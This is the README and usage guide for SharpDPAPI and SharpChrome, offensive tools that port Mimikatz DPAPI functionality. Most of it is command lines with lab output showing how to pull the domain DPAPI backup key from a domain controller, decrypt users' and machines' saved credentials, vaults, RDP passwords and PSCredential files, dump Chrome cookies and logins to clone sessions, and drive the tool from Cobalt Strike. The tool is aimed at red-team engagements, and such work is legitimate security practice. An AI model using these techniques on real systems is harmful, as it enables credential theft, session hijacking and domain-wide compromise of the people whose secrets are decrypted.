SharpDPAPI is a C# port of some DPAPI functionality from @gentilkiwi's Mimikatz project.
I did not come up with this logic, it is simply a port from Mimikatz in order to better understand the process and operationalize it to fit our workflow.
The SharpChrome subproject is an adaptation of work from @gentilkiwi and @djhohnstein, specifically his SharpChrome project. However, this version of SharpChrome uses a different version of the C# SQL library that supports lockless opening. SharpChrome is built as a separate project in SharpDPAPI because of the size of the SQLite library utilized.
If you're unfamiliar with DPAPI, check out this post for more background information. For more information on Credentials and Vaults in regards to DPAPI, check out Benjamin's wiki entry on the subject.
@harmj0y is the primary author of this port.
SharpDPAPI is licensed under the BSD 3-Clause license.
Table of Contents
- SharpDPAPI
Background
SharpDPAPI Command Line Usage
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v1.5.0
Retrieve a domain controller's DPAPI backup key, optionally specifying a DC and output file:
SharpDPAPI backupkey [/server:SERVER.domain] [/file:key.pvk]
Machine Triage:
machinemasterkeys - triage all reachable machine masterkey files (elevates to SYSTEM to retrieve the DPAPI_SYSTEM LSA secret)
machinecredentials - use 'machinemasterkeys' and then triage machine Credential files
machinevaults - use 'machinemasterkeys' and then triage machine Vaults
machinetriage - run the 'machinecredentials' and 'machinevaults' commands
User Triage:
Triage all reachable user masterkey files, use a domain backup key to decrypt all that are found:
SharpDPAPI masterkeys </pvk:BASE64... | /pvk:key.pvk>
Arguments for the credentials|vaults|rdg|triage|blob|ps commands:
Decryption:
/unprotect - force use of CryptUnprotectData() for 'ps', 'rdg', or 'blob' commands
GUID1:SHA1 ... - use a one or more GUID:SHA1 masterkeys for decryption
/mkfile:FILE - use a file of one or more GUID:SHA1 masterkeys for decryption
/pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
/pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys
Targeting:
/target:FILE/folder - triage a specific 'Credentials','.rdg|RDCMan.settings', 'blob', or 'ps' file location, or 'Vault' folder
/server:SERVER - triage a remote server, assuming admin access ()
Note: must use with /pvk:KEY
Note: not applicable to 'blob' or 'ps' commands
SharpChrome Command Line Usage
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v1.5.1
Global arguments for the 'cookies' and 'logins' commands:
Decryption:
/unprotect - force use of CryptUnprotectData() (default for unprivileged execution)
GUID1:SHA1 ... - use a one or more GUID:SHA1 masterkeys for decryption
/mkfile:FILE - use a file of one or more GUID:SHA1 masterkeys for decryption
/pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
/pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys
Targeting:
/target:FILE - triage a specific 'Cookies' or 'Login Data' file location
/server:SERVER - triage a remote server, assuming admin access (note: must use with /pvk:KEY)
Output:
/format:X - either 'csv' (default) or 'table' display
/showall - show Login Data entries with null passwords and expired Cookies instead of filtering (default)
'cookies' command specific arguments:
/cookie:"REGEX" - only return cookies where the cookie name matches the supplied regex
/url:"REGEX" - only return cookies where the cookie URL matches the supplied regex
/format:json - output cookie values in an EditThisCookie JSON import format. Best when used with a regex!
/setneverexpire - set expirations for cookies output to now + 100 years
Retrieve a domain controller's DPAPI backup key, optionally specifying a DC and output file:
SharpChrome backupkey [/server:SERVER.domain] [/file:key.pvk]
Operational Usage
SharpDPAPI
One of the goals with SharpDPAPI is to operationalize Benjamin's DPAPI work in a way that fits with our workflow.
How exactly you use the toolset will depend on what phase of an engagement you're in. In general this breaks into "have I compromised the domain or not".
If domain admin (or equivalent) privileges have been obtained, the domain DPAPI backup key can be retrieved with the backupkey command (or with Mimikatz). This domain private key never changes, and can decrypt any DPAPI masterkeys for domain users. This means, given a domain DPAPI backup key, an attacker can decrypt masterkeys for any domain user that can then be used to decrypt any Vault/Credentials/Chrome Logins/other DPAPI blobs/etc. The key retrieved from the backupkey command can be used with the masterkeys, credentials, vaults, rdg, or triage commands.
If DA privileges have not been achieved, using Mimikatz' sekurlsa::dpapi command will retrieve DPAPI masterkey {GUID}:SHA1 mappings of any loaded master keys (user and SYSTEM) on a given system (tip: running dpapi::cache after key extraction will give you a nice table). If you change these keys to a {GUID1}:SHA1 {GUID2}:SHA1... type format, they can be supplied to the credentials, vaults, rdg, or triage commands. This lets you triage all Credential files/Vaults on a system for any user who's currently logged in, without having to do file-by-file decrypts.
For decrypting RDG/RDCMan.settings files with the rdg command, the /unprotect flag will use CryptUnprotectData() to decrypt any saved RDP passwords, if the command is run from the user context who saved the passwords. This can be done from an unprivileged context, without the need to touch LSASS. For why this approach isn't used for credentials/vaults, see Benjamin's documentation here.
For machine-specific DPAPI triage, the machinemasterkeys|machinecredentials|machinevaults|machinetriage commands will do the machine equivalent of user DPAPI triage. If in an elevated context (that is, you need local administrative rights), SharpDPAPI will elevate to SYSTEM privileges to retrieve the "DPAPI_SYSTEM" LSA secret, which is then used to decrypt any discovered machine DPAPI masterkeys. These keys are then used as lookup tables for machine credentials/vaults/etc.
For more offensive DPAPI information, check here.
SharpChrome
SharpChrome is a Chrome-specific implementation of SharpDPAPI capable of cookies and logins decryption/triage. It is built as a separate project in SharpDPAPI because of the size of the SQLite library utilized.
Since Chrome Cookies/Login Data are saved without CRYPTPROTECT_SYSTEM, CryptUnprotectData() is back on the table. If SharpChrome is run from an unelevated contect, it will attempt to decrypt any logins/cookies for the current user using CryptUnprotectData(). A /pvk:[BASE64|file.pvk], {GUID}:SHA1 lookup table, or /mkfile:FILE of {GUID}:SHA1 values can also be used to decrypt values. Also, the C# SQL library used (with a few modifications) supports lockless opening, meaning that Chrome does not have to be closed/target files do not have to be copied to another location.
By default, cookies and logins are displayed as a csv - this can be changed with /format:table for table output, and /format:json for cookies specifically. The json option outputs cookies in a json format that can be imported into the EditThisCookie Chrome extension for easy reuse.
The cookies command also has /cookie:REGEX and /url:REGEX arguments to only return cookie names or urls matching the supplied regex. This is useful with /format:json to easily clone access to specific sites.
Cobalt Strike Usage
SharpDPAPI has an Aggressor script (SharpDPAPI.cna) that automates the usage of SharpDPAPI through Cobalt Strike. Before usage, replace $SharpDPAPI::AssemblyPath in the .cna with the location of your compiled SharpDPAPI assembly.
Loading SharpDPAPI.cna will register a new sharpDPAPI Beacon command. If beacon> sharpDPAPI -dump is run, the current Beacon will execute sekurlsa::dpapi Mimikatz command to extract any DPAPI keys from LSASS (assuming elevation) followed by dpapi::cache to display the {GUID}:SHA1 mappings. The decrypted master key SHA1s are stored in the credential store.
Running beacon> sharpDPAPI will execute SharpDPAPI with the triage command with any GUID:SHA1 masterkey mappings extracted for that host. This allows for effective triage of all Credentials and Vaults on a host for any currently logged in users.
TODO: implement machine key triage functions in SharpDPAPI.cna
SharpDPAPI Commands
User Triage
masterkeys
The masterkeys command will search for any readable user masterkey files and decrypt them using a supplied domain DPAPI backup key. It will return a set of masterkey {GUID}:SHA1 mappings.
The domain backup key can be in base64 form (/pvk:BASE64...) or file form (/pvk:key.pvk).
C:\Temp>SharpDPAPI.exe masterkeys /pvk:key.pvk
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v1.2.0
[*] Action: Triage User Masterkey Files
[*] Found MasterKey : C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1473254003-2681465353-4059813368-1000\28678d89-678a-404f-a197-f4186315c4fa
[*] Found MasterKey : C:\Users\harmj0y\AppData\Roaming\Microsoft\Protect\S-1-5-21-883232822-274137685-4173207997-1111\3858b304-37e5-48aa-afa2-87aced61921a
...(snip)...
[*] User master key cache:
{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316...(snip)...
...(snip)...
credentials
The credentials command will search for Credential files and either a) decrypt them with any "{GUID}:SHA1" masterkeys passed, b) a /mkfile:FILE of one or more {GUID}:SHA1 masterkey mappings, or c) use a supplied DPAPI domain backup key (/pvk:BASE64... or /pvk:key.pvk) to first decrypt any user masterkeys (a la masterkeys), which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' sekurlsa::dpapi command.
A specific credential file (or folder of credentials) can be specified with /target:FILE or /target:C:\Folder\. If a file is specified, {GUID}:SHA1 values are required, and if a folder is specified either a) {GUID}:SHA1 values must be supplied or b) the folder must contain DPAPI masterkeys and a /pvk domain backup key must be supplied.
If run from an elevated context, Credential files for ALL users will be triaged, otherwise only Credential files for the current user will be processed.
Using domain {GUID}:SHA1 masterkey mappings:
C:\Temp>SharpDPAPI.exe credentials {44ca9f3a-9097-455e-94d0-d91de951c097}:9b049ce6918ab89937687...(snip)... {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}:f9bc09dad3bc2cd00efd903...(snip)...
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v1.2.0
[*] Action: User DPAPI Credential Triage
[*] Triaging Credentials for ALL users
Folder : C:\Users\harmj0y\AppData\Local\Microsoft\Credentials\
CredFile : 48C08A704ADBA03A93CD7EC5B77C0EAB
guidMasterKey : {885342c6-028b-4ecf-82b2-304242e769e0}
size : 436
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32772/26115
description : Local Credential Data
LastWritten : 1/22/2019 2:44:40 AM
TargetName : Domain:target=TERMSRV/10.4.10.101
TargetAlias :
Comment :
UserName : DOMAIN\user
Credential : Password!
...(snip)...
Using a domain DPAPI backup key to first decrypt any discoverable masterkeys:
C:\Temp>SharpDPAPI.exe credentials /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...
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v1.2.0
[*] Action: User DPAPI Credential Triage
[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!
[*] User master key cache:
{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...
[*] Triaging Credentials for ALL users
Folder : C:\Users\harmj0y\AppData\Local\Microsoft\Credentials\
CredFile : 48C08A704ADBA03A93CD7EC5B77C0EAB
guidMasterKey : {885342c6-028b-4ecf-82b2-304242e769e0}
size : 436
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32772/26115
description : Local Credential Data
LastWritten : 1/22/2019 2:44:40 AM
TargetName : Domain:target=TERMSRV/10.4.10.101
TargetAlias :
Comment :
UserName : DOMAIN\user
Credential : Password!
...(snip)...
vaults
The vaults command will search for Vaults and either a) decrypt them with any "{GUID}:SHA1" masterkeys passed, b) a /mkfile:FILE of one or more {GUID}:SHA1 masterkey mappings, or c) use a supplied DPAPI domain backup key (/pvk:BASE64... or /pvk:key.pvk) to first decrypt any user masterkeys (a la masterkeys), which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' sekurlsa::dpapi command.
The Policy.vpol folder in the Vault folder is decrypted with any supplied DPAPI keys to retrieve the associated AES decryption keys, which are then used to decrypt any associated .vcrd files.
A specific vault folder can be specified with /target:C:\Folder\. In this case, either a) {GUID}:SHA1 values must be supplied or b) the folder must contain DPAPI masterkeys and a /pvk domain backup key must be supplied.
Using domain {GUID}:SHA1 masterkey mappings:
C:\Temp>SharpDPAPI.exe vaults {44ca9f3a-9097-455e-94d0-d91de951c097}:9b049ce6918ab89937687...(snip)... {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}:f9bc09dad3bc2cd00efd903...(snip)...
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v1.2.0
[*] Action: User DPAPI Vault Triage
[*] Triaging Vaults for ALL users
[*] Triaging Vault folder: C:\Users\harmj0y\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28
VaultID : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
Name : Web Credentials
guidMasterKey : {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}
size : 240
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32772/26115
description :
aes128 key : EDB42294C0721F2F1638A40F0CD67CD8
aes256 key : 84CD64B5F438B8B9DA15238A5CFA418C04F9BED6B4B4CCAC9705C36C65B5E793
LastWritten : 10/12/2018 12:10:42 PM
FriendlyName : Internet Explorer
Identity : admin
Resource : https://10.0.0.1/
Authenticator : Password!
...(snip)...
Using a domain DPAPI backup key to first decrypt any discoverable masterkeys:
C:\Temp>SharpDPAPI.exe credentials /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...
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v1.2.0
[*] Action: DPAPI Vault Triage
[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!
[*] User master key cache:
{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...
[*] Triaging Vaults for ALL users
[*] Triaging Vault folder: C:\Users\harmj0y\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28
VaultID : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
Name : Web Credentials
guidMasterKey : {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}
size : 240
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32772/26115
description :
aes128 key : EDB42294C0721F2F1638A40F0CD67CD8
aes256 key : 84CD64B5F438B8B9DA15238A5CFA418C04F9BED6B4B4CCAC9705C36C65B5E793
LastWritten : 10/12/2018 12:10:42 PM
FriendlyName : Internet Explorer
Identity : admin
Resource : https://10.0.0.1/
Authenticator : Password!
...(snip)...
Using a domain DPAPI backup key with a folder specified (i.e. "offline" triage):
C:\Temp>SharpDPAPI.exe vaults /target:C:\Temp\test\ /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...
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v1.2.0
[*] Action: User DPAPI Vault Triage
[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!
[*] User master key cache:
{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...
[*] Target Vault Folder: C:\Temp\test\
[*] Triaging Vault folder: C:\Temp\test\
VaultID : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
Name : Web Credentials
guidMasterKey : {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}
size : 240
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32772/26115
description :
aes128 key : EDB42294C0721F2F1638A40F0CD67CD8
aes256 key : 84CD64B5F438B8B9DA15238A5CFA418C04F9BED6B4B4CCAC9705C36C65B5E793
LastWritten : 3/20/2019 6:03:50 AM
FriendlyName : Internet Explorer
Identity : account
Resource : http://www.abc.com/
Authenticator : password
rdg
The rdg command will search for RDCMan.settings files for the current user (or if elevated, all users) and either a) decrypt them with any "{GUID}:SHA1" masterkeys passed, b) a /mkfile:FILE of one or more {GUID}:SHA1 masterkey mappings, or c) use a supplied DPAPI domain backup key (/pvk:BASE64... or /pvk:key.pvk) to first decrypt any user masterkeys (a la masterkeys), which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' sekurlsa::dpapi command.
The /unprotect flag will use CryptUnprotectData() to decrypt any saved RDP passwords, if the command is run from the user context who saved the passwords. This can be done from an unprivileged context, without the need to touch LSASS. For why this approach isn't used for credentials/vaults, see Benjamin's documentation here.
A specific RDCMan.settings file, .RDC file (or folder of .RDG files) can be specified with /target:FILE or /target:C:\Folder\. If a file is specified, {GUID}:SHA1 values (or /unprotect) are required, and if a folder is specified either a) {GUID}:SHA1 values must be supplied or b) the folder must contain DPAPI masterkeys and a /pvk domain backup key must be supplied.
This command will decrypt any saved password information from both the RDCMan.settings file and any .RDG files referenced by the RDCMan.settings file.
Using /unprotect to decrypt any found passwords:
C:\Temp>SharpDPAPI.exe rdg /unprotect
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v1.3.0
[*] Action: RDG Triage
[*] Using CryptUnprotectData() to decrypt RDG passwords
[*] Triaging RDCMan Settings Files for current user
RDCManFile : C:\Users\harmj0y\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
Accessed : 5/9/2019 11:52:58 AM
Modified : 5/9/2019 11:52:58 AM
Recent Server : test\primary.testlab.local
Cred Profiles
Profile Name : testprofile
UserName : testlab.local\dfm
Password : Password123!
Default Logon Credentials
Profile Name : Custom
UserName : TESTLAB\harmj0y
Password : Password123!
C:\Users\harmj0y\Documents\test.rdg
Servers
Name : secondary.testlab.local
Name : primary.testlab.local
Profile Name : Custom
UserName : TESTLAB\dfm.a
Password : Password123!
Using domain {GUID}:SHA1 masterkey mappings:
C:\Temp>SharpDPAPI.exe rdg {8abc35b1-b718-4a86-9781-7fd7f37101dd}:ae349cdd3a230f5e04f70fd02be69e2e71f1b017
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v1.3.0
[*] Action: RDG Triage
[*] Using CryptUnprotectData() to decrypt RDG passwords
[*] Triaging RDCMan Settings Files for current user
RDCManFile : C:\Users\harmj0y\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
Accessed : 5/9/2019 11:52:58 AM
Modified : 5/9/2019 11:52:58 AM
Recent Server : test\primary.testlab.local
Cred Profiles
Profile Name : testprofile
UserName : testlab.local\dfm
Password : Password123!
Default Logon Credentials
Profile Name : Custom
UserName : TESTLAB\harmj0y
Password : Password123!
C:\Users\harmj0y\Documents\test.rdg
Servers
Name : secondary.testlab.local
Name : primary.testlab.local
Profile Name : Custom
UserName : TESTLAB\dfm.a
Password : Password123!
Using a domain DPAPI backup key to first decrypt any discoverable masterkeys:
C:\Temp>SharpDPAPI.exe rdg /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...
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v1.3.0
[*] Action: RDG Triage
[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!
[*] User master key cache:
{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...
[*] Triaging RDCMan.settings Files for ALL users
RDCManFile : C:\Users\harmj0y\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
Accessed : 5/9/2019 11:52:58 AM
Modified : 5/9/2019 11:52:58 AM
Recent Server : test\primary.testlab.local
Cred Profiles
Profile Name : testprofile
UserName : testlab.local\dfm.a
Password : Password123!
Default Logon Credentials
Profile Name : Custom
UserName : TESTLAB\harmj0y
Password : Password123!
C:\Users\harmj0y\Documents\test.rdg
Servers
Name : secondary.testlab.local
Name : primary.testlab.local
Profile Name : Custom
UserName : TESTLAB\dfm.a
Password : Password123!
triage
The triage command runs the user credentials, vaults, and rdg triage commands.
Machine Triage
machinemasterkeys
The machinemasterkeys command will elevated to SYSTEM to retrieve the DPAPI_SYSTEM LSA secret which is then used to decrypt any found machine DPAPI masterkeys. It will return a set of masterkey {GUID}:SHA1 mappings.
Local administrative rights are needed (so we can retrieve the DPAPI_SYSTEM LSA secret).
C:\Temp>SharpDPAPI.exe machinemasterkeys
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v1.2.0
[*] Action: Machine DPAPI Masterkey File Triage
[*] Elevating to SYSTEM via token duplication for LSA secret retrieval
[*] RevertToSelf()
[*] Secret : DPAPI_SYSTEM
[*] full: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*] m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*] SYSTEM master key cache:
{1e76e1ee-1c53-4350-9a3d-7dec7afd024a}:4E4193B4C4D2F0420E0656B5F83D03754B565A0C
...(snip)...
machinecredentials
The machinecredentials command will elevated to SYSTEM to retrieve the DPAPI_SYSTEM LSA secret which is then used to decrypt any found machine DPAPI masterkeys. These keys are then used to decrypt any found machine Credential files.
Local administrative rights are needed (so we can retrieve the DPAPI_SYSTEM LSA secret).
C:\Temp>SharpDPAPI.exe machinecredentials
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v1.2.0
[*] Action: Machine DPAPI Credential Triage
[*] Elevating to SYSTEM via token duplication for LSA secret retrieval
[*] RevertToSelf()
[*] Secret : DPAPI_SYSTEM
[*] full: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*] m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*] SYSTEM master key cache:
{1e76e1ee-1c53-4350-9a3d-7dec7afd024a}:4E4193B4C4D2F0420E0656B5F83D03754B565A0C
...(snip)...
[*] Triaging System Credentials
Folder : C:\WINDOWS\System32\config\systemprofile\AppData\Local\Microsoft\Credentials
CredFile : C73A55F92FAE222C18A8989FEA28A1FE
guidMasterKey : {1cb83cb5-96cd-445d-baac-49e97f4eeb72}
size : 544
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32782/26128
description : Local Credential Data
LastWritten : 3/24/2019 7:08:43 PM
TargetName : Domain:batch=TaskScheduler:Task:{B745BF75-D62D-4B1C-84ED-F0437214ECED}
TargetAlias :
Comment :
UserName : TESTLAB\harmj0y
Credential : Password123!
Folder : C:\WINDOWS\ServiceProfiles\LocalService\AppData\Local\Microsoft\Credentials
CredFile : DFBE70A7E5CC19A398EBF1B96859CE5D
...(snip)...
machinevaults
The machinevaults command will elevated to SYSTEM to retrieve the DPAPI_SYSTEM LSA secret which is then used to decrypt any found machine DPAPI masterkeys. These keys are then used to decrypt any found machine Vaults.
Local administrative rights are needed (so we can retrieve the DPAPI_SYSTEM LSA secret).
C:\Temp>SharpDPAPI.exe machinevaults
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v1.2.0
[*] Action: Machine DPAPI Vault Triage
[*] Elevating to SYSTEM via token duplication for LSA secret retrieval
[*] RevertToSelf()
[*] Secret : DPAPI_SYSTEM
[*] full: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*] m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*] SYSTEM master key cache:
{1e76e1ee-1c53-4350-9a3d-7dec7afd024a}:4E4193B4C4D2F0420E0656B5F83D03754B565A0C
...(snip)...
[*] Triaging SYSTEM Vaults
[*] Triaging Vault folder: C:\WINDOWS\System32\config\systemprofile\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28
VaultID : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
Name : Web Credentials
guidMasterKey : {0bd732d9-c396-4f9a-a69a-508632c05235}
size : 324
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32782/26128
description :
aes128 key : 74CE3D7BCC4D0C4734931041F6D00D09
aes256 key : B497F57730A2F29C3533B76BD6B33EEA231C1F51ED933E0CA1210B9E3A16D081
...(snip)...
machinetriage
The machinetriage command runs the user machinecredentials and machinevaults triage commands.
Misc
ps
The ps command will describe/decrypt an exported PSCredential clixml. A /target:FILE.xml must be supplied.
The command will a) decrypt the file with any "{GUID}:SHA1" masterkeys passed, b) a /mkfile:FILE of one or more {GUID}:SHA1 masterkey mappings, or c) use a supplied DPAPI domain backup key (/pvk:BASE64... or /pvk:key.pvk) to first decrypt any user masterkeys (a la masterkeys), which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' sekurlsa::dpapi command.
The /unprotect flag will use CryptUnprotectData() to decrypt the credenial .xml without masterkeys needed, if the command is run from the user context who saved the passwords. This can be done from an unprivileged context, without the need to touch LSASS. For why this approach isn't used for credentials/vaults, see Benjamin's documentation here.
Decrypt an exported credential .xml using CryptProtectData() (the /unprotect flag):
PS C:\Temp> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
PS C:\Temp> New-Object System.Management.Automation.PSCredential('TESTLAB\user', $SecPassword) | Export-CLIXml C:\Temp\cred.xml
PS C:\Temp> .\SharpDPAPI.exe ps /target:C:\Temp\cred.xml /unprotect
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v1.5.0
[*] Action: Describe PSCredential .xml
CredFile : C:\Temp\cred.xml
Accessed : 7/25/2019 11:53:09 AM
Modified : 7/25/2019 11:53:09 AM
User Name : TESTLAB\user
guidMasterKey : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
size : 170
flags : 0x0
algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
description :
Password : Password123!
Using domain {GUID}:SHA1 masterkey mappings:
PS C:\Temp> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
PS C:\Temp> New-Object System.Management.Automation.PSCredential('TESTLAB\user', $SecPassword) | Export-CLIXml C:\Temp\cred.xml
PS C:\Temp> .\SharpDPAPI.exe ps /target:C:\Temp\cred.xml "{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3"
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v1.5.0
[*] Action: Describe PSCredential .xml
[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!
[*] User master key cache:
{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3
CredFile : C:\Temp\cred.xml
Accessed : 7/25/2019 12:04:12 PM
Modified : 7/25/2019 12:04:12 PM
User Name : TESTLAB\user
guidMasterKey : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
size : 170
flags : 0x0
algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
description :
Password : Password123!
Using a domain DPAPI backup key to first decrypt any discoverable masterkeys:
PS C:\Temp> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
PS C:\Temp> New-Object System.Management.Automation.PSCredential('TESTLAB\user', $SecPassword) | Export-CLIXml C:\Temp\cred.xml
PS C:\Temp> .\SharpDPAPI.exe ps /target:C:\Temp\cred.xml /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...
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v1.5.0
[*] Action: Describe PSCredential .xml
[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!
[*] User master key cache:
{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3
CredFile : C:\Temp\cred.xml
Accessed : 7/25/2019 12:04:12 PM
Modified : 7/25/2019 12:04:12 PM
User Name : TESTLAB\user
guidMasterKey : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
size : 170
flags : 0x0
algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
description :
Password : Password123!
blob
The blob command will describe/decrypt a DPAPI blob. A /target:<BASE64|blob.bin> must be supplied.
The command will a) decrypt the blob with any "{GUID}:SHA1" masterkeys passed, b) a /mkfile:FILE of one or more {GUID}:SHA1 masterkey mappings, or c) use a supplied DPAPI domain backup key (/pvk:BASE64... or /pvk:key.pvk) to first decrypt any user masterkeys (a la masterkeys), which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' sekurlsa::dpapi command.
The /unprotect flag will use CryptUnprotectData() to decrypt the blob without masterkeys needed, if the command is run from the user context who saved the passwords. This can be done from an unprivileged context, without the need to touch LSASS. For why this approach isn't used for credentials/vaults, see Benjamin's documentation here.
Decrypt a blob using CryptProtectData() (the /unprotect flag):
C:\Temp>SharpDPAPI.exe blob /target:C:\Temp\blob.bin /unprotect
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v1.5.0
[*] Action: Describe DPAPI blob
[*] Using CryptUnprotectData() for decryption.
guidMasterKey : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
size : 170
flags : 0x0
algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
description :
dec(blob) : Password123!
Using domain {GUID}:SHA1 masterkey mappings:
C:\Temp>SharpDPAPI.exe blob /target:C:\Temp\blob2.bin {0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3
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v1.5.0
[*] Action: Describe DPAPI blob
[*] Using CryptUnprotectData() for decryption.
guidMasterKey : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
size : 314
flags : 0x0
algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
description :
dec(blob) : 01 00 00 00 3F 3F 3F 3F 01 15 3F 11 3F 7A 00 3F 4F 3F 3F ...
Using a domain DPAPI backup key to first decrypt any discoverable masterkeys:
C:\Temp>SharpDPAPI.exe blob /target:C:\Temp\blob2.bin /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...
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v1.5.0
[*] Action: Describe DPAPI blob
[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!
[*] User master key cache:
{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3
guidMasterKey : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
size : 314
flags : 0x0
algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
description :
dec(blob) : 01 00 00 00 3F 3F 3F 3F 01 15 3F 11 3F 7A 00 3F 4F 3F 3F ...
backupkey
The backupkey command will retrieve the domain DPAPI backup key from a domain controller using the LsaRetrievePrivateData API approach from Mimikatz. This private key can then be used to decrypt master key blobs for any user on the domain. And even better, the key never changes ;)
Domain admin (or equivalent) rights are needed to retrieve the key from a remote domain controller.
This base64 key blob can be decoded to a binary .pvk file that can then be used with Mimikatz' dpapi::masterkey /in:MASTERKEY /pvk:backupkey.pvk module, or used in blob/file /pvk:X form with the masterkeys, credentials, or vault SharpDPAPI commands.
By default, SharpDPAPI will try to determine the current domain controller via the DsGetDcName API call. A server can be specified with /server:COMPUTER.domain.com. If you want the key saved to disk instead of output as a base64 blob, use /file:key.pvk.
Retrieve the DPAPI backup key for the current domain controller:
C:\Temp>SharpDPAPI.exe backupkey
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v1.2.0
[*] Action: Retrieve domain DPAPI backup key
[*] Using current domain controller : PRIMARY.testlab.local
[*] Preferred backupkey Guid : 32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] Full preferred backupKeyName : G$BCKUPKEY_32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] Key :
HvG1sAAAAAABAAAAAAAAAAAAAACUBAAABwIAAACkAABSU0EyAAgAAA...(snip)...
Retrieve the DPAPI backup key for the specified DC, outputting the backup key to a file:
C:\Temp>SharpDPAPI.exe backupkey /server:primary.testlab.local /file:key.pvk
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v1.2.0
[*] Action: Retrieve domain DPAPI backup key
[*] Using server : primary.testlab.local
[*] Preferred backupkey Guid : 32d021e7-ab1c-4877-af06-80473ca3e4d8
